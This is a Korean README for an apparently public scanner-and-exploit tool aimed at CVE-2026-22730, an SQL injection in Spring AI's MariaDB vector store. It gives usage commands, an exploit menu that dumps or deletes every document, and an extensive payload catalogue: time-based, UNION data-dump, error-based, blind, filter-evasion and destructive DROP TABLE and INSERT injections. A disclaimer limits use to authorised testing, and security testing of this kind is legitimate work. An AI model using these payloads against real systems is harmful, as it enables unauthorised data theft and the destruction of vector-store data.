
스캐너 및 익스플로잇 도구로, Spring AI의 MariaDB 벡터 저장소에서 발생하는 SQL 인젝션 취약점인 CVE-2026-22730을 대상으로 합니다. 시간 기반 탐지, GET/POST 메서드, 보고 기능을 포함한 익스플로잇을 지원합니다.
CVE-2026-22730 스캐너 및 익스플로잇 – Spring AI MariaDB 벡터 스토어 SQL 인젝션
CVE-2026-22730을 위한 전문 보안 평가 도구 – Spring AI의 MariaDB 벡터 스토어에서 발견된 치명적인 SQL 인젝션 취약점입니다. 이 도구는 공인된 침투 테스터와 보안 연구자가 교육 또는 방어 목적으로 취약점을 탐지하고 안전하게 익스플로잇할 수 있도록 설계되었습니다.
📖 개요
CVE-2026-22730은 MariaDB 벡터 스토어를 사용할 때 Spring AI 버전 1.0.x < 1.0.4 및 1.1.x < 1.1.3에 영향을 미칩니다. 필터 표현식의 문자열 값 이스케이프 처리 부적절로 인해 공격자는 사용자 제어 매개변수(예: 메타데이터 필터)를 통해 임의의 SQL을 주입할 수 있습니다. 이로 인해 다음이 발생할 수 있습니다:
승인되지 않은 데이터 검색 – 메타데이터 기반 접근 제어 우회
전체 데이터베이스 삭제 – 전체 벡터 스토어 삭제(파괴적)
조용한 데이터 유출 – RAG 파이프라인에서 유출된 데이터가 탐지 없이 LLM 응답에 포함됨
이 도구는 승인된 보안 평가 중에 취약점 존재 여부를 확인하고 그 영향을 입증(명시적 동의 포함)할 수 있는 안전하고 구성 가능한 방법을 제공합니다.
🚀 기능
✅ 시간 기반 탐지 – SLEEP() 인젝션을 사용하여 취약점 확인
✅ 여러 HTTP 메서드 – GET(쿼리 매개변수) 및 POST(JSON 본문) 지원
✅ 사용자 지정 지연 시간 – 네트워크 지연 또는 은밀성 요구 사항에 맞게 조정
✅ 익스플로잇 옵션 – 모든 문서 검색(SELECT) 또는 전체 삭제(DELETE)
✅ 포괄적인 보고 – HTML, JSON 및 일반 텍스트 보고서 생성
✅ 사용자 친화적인 CLI – 대화형 모드 및 전체 명령줄 인수 지원
✅ 확장 가능한 페이로드 시스템 – 사용자 지정 인젝션 문자열을 쉽게 통합
📋 요구 사항
Python 3.6 이상
requests 라이브러리 (pip install requests)
🔧 설치
bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 사용법
스크립트는 대화형 모드 또는 명령줄 인수로 실행할 수 있습니다.
기본 구문
bash
python cve-2026-22730_scanner.py [options]
옵션
옵션 설명
--url 대상 URL (예: http://localhost:8081/api/docs)
--method HTTP 메서드: GET 또는 POST (기본값: GET)
--param GET용 쿼리 매개변수 이름 또는 POST용 참조 이름 (선택 사항)
--json-template PAYLOAD 자리 표시자가 포함된 JSON 템플릿 (POST에 필수)
--baseline 기준 요청용 정상 값 (기본값: nonexistent)
--sleep 시간 기반 탐지용 지연 시간(초) (기본값: 5)
예제
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
bash
python cve-2026-22730_scanner.py
URL, 메서드, 매개변수/JSON 템플릿, 기준 값 및 지연 시간을 입력하라는 메시지가 표시됩니다.
익스플로잇 워크플로우
대상이 취약한 것으로 확인되면 스크립트는 메뉴를 표시합니다:
text
[?] 대상이 취약합니다. 익스플로잇 옵션을 선택하세요:
1. 모든 문서 검색 (SELECT 인젝션)
2. 모든 문서 삭제 (DELETE 인젝션) - 파괴적
3. 익스플로잇 건너뛰기
옵션 1은 ' OR '1'='1을 전송하여 모든 행을 검색합니다(비파괴적, 데이터만 읽음).
옵션 2는 DELETE HTTP 메서드를 사용하여 동일한 페이로드를 전송합니다 – 모든 레코드를 영구적으로 제거합니다. 명시적 확인이 필요합니다.
모든 작업은 기록되며 최종 보고서에 포함됩니다.
📁 출력 파일
각 실행 후 현재 디렉터리에 타임스탬프가 포함된 세 개의 파일이 생성됩니다:
cve-2026-22730_YYYYMMDD_HHMMSS.json – 모든 세부 정보가 포함된 기계 판독 가능한 JSON 보고서.
cve-2026-22730_YYYYMMDD_HHMMSS.txt – 익스플로잇 데이터(있는 경우)를 포함한 일반 텍스트 요약.
cve-2026-22730_YYYYMMDD_HHMMSS.html – 공유 또는 보관에 적합한 형식의 HTML 보고서.
⚠️ 중요 고지 사항
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다.
소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대한 무단 사용은 불법이며 비윤리적입니다.
저자는 이 소프트웨어로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.
대상을 스캔하거나 익스플로잇하기 전에 항상 서면 허가를 받으십시오.
📚 참고 자료
GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm
Spring Security Advisory AV26‑245
SecureLayer7의 원본 연구 기사
🤝 기여
풀 리퀘스트, 버그 보고서 및 기능 제안을 환영합니다. 주요 변경 사항을 논의하려면 먼저 이슈를 열어 주십시오.
📄 라이선스
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 – 자세한 내용은 LICENSE 파일을 참조하십시오.
Nabeel이 ❤️로 개발했습니다.
페이로드 예제
보안 커뮤니티를 위해
📌 페이로드 사용 방법
스크립트에서 POST와 함께 --json-template을 사용할 때 __PAYLOAD__를 아래 목록의 페이로드로 교체하십시오.
GET 요청의 경우 페이로드를 매개변수 값으로 전달하기만 하면 됩니다(스크립트가 URL 인코딩을 자동으로 처리합니다).
🔥 페이로드 카테고리
인젝션이 성공하면 지연이 발생합니다. 취약점 확인에 사용하십시오.
페이로드 설명
' OR SLEEP(5) -- 표준 시간 기반 페이로드. 쿼리가 약 5초 동안 일시 중지되면 인젝션이 작동합니다.
' OR BENCHMARK(10000000,MD5('a')) -- MySQL/MariaDB용 대안 (BENCHMARK).
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- 일부 필터를 우회하는 중첩 sleep.
' OR 1=1 AND SLEEP(5) -- 항상 참 조건과 sleep을 결합.
WHERE 절을 항상 참으로 만들어 모든 레코드를 반환합니다.
페이로드 설명
' OR '1'='1 클래식 항상 참 인젝션.
' OR 1=1 -- 또 다른 변형 (-- 뒤에 공백 필요).
' OR ''=' 빈 문자열 비교에 의존.
' OR 1=1# MariaDB 주석에 # 사용 (URL 인코딩: %23).
' OR 1=1 LIMIT 1 -- 한 행만 반환 (제어된 출력에 유용)
애플리케이션이 결과를 표시할 때 유용합니다. 열 수를 일치시켜야 합니다.
페이로드 설명
' UNION SELECT NULL, database(), user(), version() -- 데이터베이스 이름, 사용자, 버전 검색. (열 수에 맞게 NULL 개수 조정.)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- 테이블 나열.
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- 열 나열.
' UNION SELECT 1, content, metadata FROM vector_store -- 실제 데이터 덤프 (열 수가 일치하는 경우).
정보를 유출하는 오류를 트리거합니다.
페이로드 설명
' AND extractvalue(1, concat(0x7e, database())) -- MariaDB/MySQL 오류 기반.
' AND updatexml(1, concat(0x7e, version()), 1) -- 또 다른 오류 메서드.
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- 중복 키 오류.
출력이나 오류가 표시되지 않지만 애플리케이션 동작이 변경될 때 유용합니다.
페이로드 설명
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- 데이터베이스 이름의 첫 번째 문자 확인.
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- 테이블 수 확인.
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- 테이블 존재 여부 테스트.
파괴적 페이로드 (극도로 주의해서 사용).
페이로드 설명
' OR '1'='1 DELETE와 함께 사용하면 모든 행을 제거합니다.
' OR 1=1; DROP TABLE vector_store -- 전체 테이블 삭제 시도 (스택 쿼리 필요, 종종 비활성화됨).
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- 새 데이터 삽입 시도.
간단한 패턴 매칭을 회피하기 위한 난독화 버전.
페이로드 설명
%27%20OR%20SLEEP(5)%20-- URL 인코딩 (스크립트가 자동으로 처리).
' //OR//SLEEP(5)/**/-- 키워드를 분리하는 인라인 주석.
' OR 0x273d27=0x273d27 -- 16진수 인코딩 비교 ('=').
' OR 1=1 /!50000SLEEP(5)/ -- MySQL 버전별 주석.
페이로드 설명
' OR '1'='1 모든 문서 검색에 사용 (개념 증명).
' OR SLEEP(5) -- 스캐너에서 사용되는 시간 기반 탐지 페이로드.
' OR '1'='1 DELETE 인젝션에도 사용.
📝 페이로드가 포함된 예제 JSON 템플릿
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
스크립트에서 템플릿을 다음과 같이 전달합니다:
bash
--json-template '{"department": "PAYLOAD"}'
스크립트는 __PAYLOAD__를 실제 페이로드로 교체합니다.
참고 URL 정보
스크립트는 취약한 매개변수를 수락하는 엔드포인트의 전체 URL이 필요합니다. 예:
✅ http://example.com/api/docs – 엔드포인트가 /api/docs인 경우
✅ http://example.com/search – 엔드포인트가 /search인 경우
❌ http://example.com – 불충분, 스크립트는 정확한 경로가 필요합니다